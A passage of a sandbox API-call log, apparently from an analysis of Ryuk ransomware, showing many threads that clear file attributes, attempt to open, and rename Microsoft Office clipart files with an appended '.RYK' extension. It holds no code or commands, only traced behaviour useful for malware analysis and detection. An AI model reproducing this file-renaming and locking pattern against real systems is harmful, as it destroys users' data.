	[0276.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00223_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.556] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.556] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00223_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00223_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3528
	os_tid = 0x35dc

	[0276.553] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF", dwFileAttributes=0x80) returned 0
	[0276.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00257_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.554] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.554] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00257_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00257_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3529
	os_tid = 0x34dc

	[0276.557] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF", dwFileAttributes=0x80) returned 0
	[0276.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00289_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.558] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.558] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00289_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00289_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3530
	os_tid = 0x2598

	[0276.559] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF", dwFileAttributes=0x80) returned 0
	[0276.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00299_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.560] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.560] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00299_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00299_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3531
	os_tid = 0x38f8

	[0276.561] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF", dwFileAttributes=0x80) returned 0
	[0276.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00305_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.564] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.565] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00305_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00305_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3532
	os_tid = 0x38f4

	[0276.562] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF", dwFileAttributes=0x80) returned 0
	[0276.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00333_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.563] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.563] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00333_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00333_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3533
	os_tid = 0x3860

	[0276.566] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF", dwFileAttributes=0x80) returned 0
	[0276.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00345_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.566] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.566] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00345_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00345_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3534
	os_tid = 0x3718

	[0276.568] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF", dwFileAttributes=0x80) returned 0
	[0276.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00350_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.568] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.568] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00350_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00350_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3535
	os_tid = 0x3714

	[0276.569] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF", dwFileAttributes=0x80) returned 0
	[0276.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00352_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.572] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.572] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00352_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00352_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3536
	os_tid = 0x37c0

	[0276.571] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF", dwFileAttributes=0x80) returned 0
	[0276.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00364_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.576] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.576] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00364_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00364_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3537
	os_tid = 0x372c

	[0276.573] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF", dwFileAttributes=0x80) returned 0
	[0276.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00367_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.574] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.574] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00367_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00367_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3538
	os_tid = 0x3960

	[0276.577] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF", dwFileAttributes=0x80) returned 0
	[0276.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00373_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.578] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.578] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00373_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00373_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3539
	os_tid = 0x3b48

	[0276.579] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF", dwFileAttributes=0x80) returned 0
	[0276.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00382_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.580] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.580] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00382_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00382_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3552
	os_tid = 0x3c24

	[0276.581] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF", dwFileAttributes=0x80) returned 0
	[0276.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.581] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.582] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00390_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00390_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3553
	os_tid = 0x3c28

	[0276.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF", dwFileAttributes=0x80) returned 0
	[0276.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00391_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.590] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.590] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00391_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00391_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3554
	os_tid = 0x3c2c

	[0276.584] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF", dwFileAttributes=0x80) returned 0
	[0276.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00416_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.585] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.585] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00416_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00416_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3555
	os_tid = 0x3c30

	[0276.587] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF", dwFileAttributes=0x80) returned 0
	[0276.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00423_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.587] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.587] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00423_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00423_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3556
	os_tid = 0x3c34

	[0276.592] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF", dwFileAttributes=0x80) returned 0
	[0276.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.593] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.593] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00444_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00444_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3557
	os_tid = 0x3c38

	[0276.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF", dwFileAttributes=0x80) returned 0
	[0276.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00452_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.596] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.597] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00452_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00452_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3558
	os_tid = 0x3c3c

	[0276.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF", dwFileAttributes=0x80) returned 0
	[0276.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.599] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.599] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00453_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00453_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3559
	os_tid = 0x3c40

	[0276.598] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF", dwFileAttributes=0x80) returned 0
	[0276.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00454_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.606] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.606] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00454_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00454_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3560
	os_tid = 0x3c44

	[0276.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF", dwFileAttributes=0x80) returned 0
	[0276.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00466_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.604] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.604] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00466_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00466_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3561
	os_tid = 0x3c48

	[0276.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF", dwFileAttributes=0x80) returned 0
	[0276.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00476_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.608] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.608] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00476_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00476_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3562
	os_tid = 0x3c4c

	[0276.613] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF", dwFileAttributes=0x80) returned 0
	[0276.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00479_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.614] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.614] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00479_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00479_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3563
	os_tid = 0x3c50

	[0276.878] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF", dwFileAttributes=0x80) returned 0
	[0276.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00483_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.879] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.879] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00483_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00483_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3583
	os_tid = 0x3ca4

	[0277.300] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF", dwFileAttributes=0x80) returned 0
	[0277.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00486_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.553] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.553] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00486_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00486_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3584
	os_tid = 0x3ca8

